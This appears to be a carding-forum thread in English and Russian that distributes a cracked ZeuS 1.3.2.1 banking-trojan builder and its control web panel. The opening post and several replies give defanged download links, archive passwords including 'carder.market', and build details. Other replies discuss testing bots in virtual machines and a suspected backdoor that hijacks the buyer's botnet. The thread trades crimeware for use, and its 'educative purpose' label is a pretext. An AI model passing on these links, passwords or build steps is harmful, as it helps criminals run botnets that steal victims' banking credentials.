ZeuS 1.3.2.1

[maximthird]

FREE ZeuS 1.3.2.1 + Builder (Hijacker)
Here you go.. ZeuS Hijacker for 1.3.2.1

Don't touch it with evil finger because it is hardcoded

PUBLIC VERSION SO:
- Used existing RunPE
- Need a restart/logout-login then bot will be hijacked and redirected
- Big bot size (187kb uncompressed, 136kB UPX'd)
- stub is shit (coded in vb)
- Need tools/ResHacker.exe


hxxp://jump.fm/IQGDR
Code:FreeZS

Zeus 1.3.2.1 WebPanel
hxxp://www.sendspace.com/file/8au2k0


Credits:
- ZeuS author for bot.exe
- pr!ngles for RunPE Class


PS: ffighter I don't know if your a fed, if so here good luck with analysing

ONLY FOR EDUCATIVE PURPOISE, IF YOU DON'T TRUST IT RUN IT IN VM

DON'T BUY ZS FROM CRACKERS

 

[aka_k4]

ТЫ вот скажи, ты сам тестил?

 

[maximthird]

Я ВОТ ТЕБЕ скажу что нет!

 

[aka_k4]

хах) понел

 

[leslie]

be carefull

 

[aka_k4]

Спасибо Кэп

 

[maximthird]

ne zahto)

 

[Cuko]

он же с привязкой по железу. отвязали? или фейк?

 

[Loneliness]

Ломанная версия! Офф версия ты прав с привязкой!

 

[Hurley]

что тут интересного - так это админка, спасибо за нее, скачал. на днях протестирую.

 

[cr33k]

Stub is assigned to 127.0.0.1 but after the PC has been restarted the vb6 stub injects your domain as the control server. The vb6 stub uses the runPE module to do so. The coder of the vb6 stub could very well have enclosed a backdoor to jack your bot after a set number of restarts.

 

[bl4ckmarket]

Yes this version is backdoored, pleas be wary it activates or starts something in october 2010. this year.

 

[JankEver]

Мм.Вроде потестил на VMware , отстукивает нормально.

 

[Alexeika1]

hxxp://jump.fm/IQGDR
Code:FreeZS

Линк дохлый. Кто скачал билдер может перезалить?

---------- Сообщение добавлено в 05:19 PM ---------- Предыдущее сообщение размещено в 04:52 PM ----------

Нашел тут. hffp://ifolder.ru/17595990 . На вири не проверял.
Пасс FreeZS
В архиве - Free ZeuS Multi Builder 1.3.2.1 and 1.3.3.8 with EXTERNAL VNC + Bug fixed CP

 

[Hurley]

про бэкдор кто-то может подтвердить или опровергнуть из компетентных людей?

 

[frecg]

до октября ваши боты 10 раз умереть успеют

 

[look2009]

Народ. Всё ссылки не работают. Может кто пере зальёт?

 

[Zyklon]

hxxp://www.sendspace.com/file/5fvw2y
passw - carder.market

 

[SEWERN]

сколько весит билд (в этих архивах ) ? Спс

 

[SoLDaT]

я канешна извиняюсь чуток не допираю но где тама инжекты ?) или же билдер просто не туда делает билд (хотя линки и прочую бороду правильно сделал) и хоть кто нить протестил?) ибо у мну нигде не отстукивает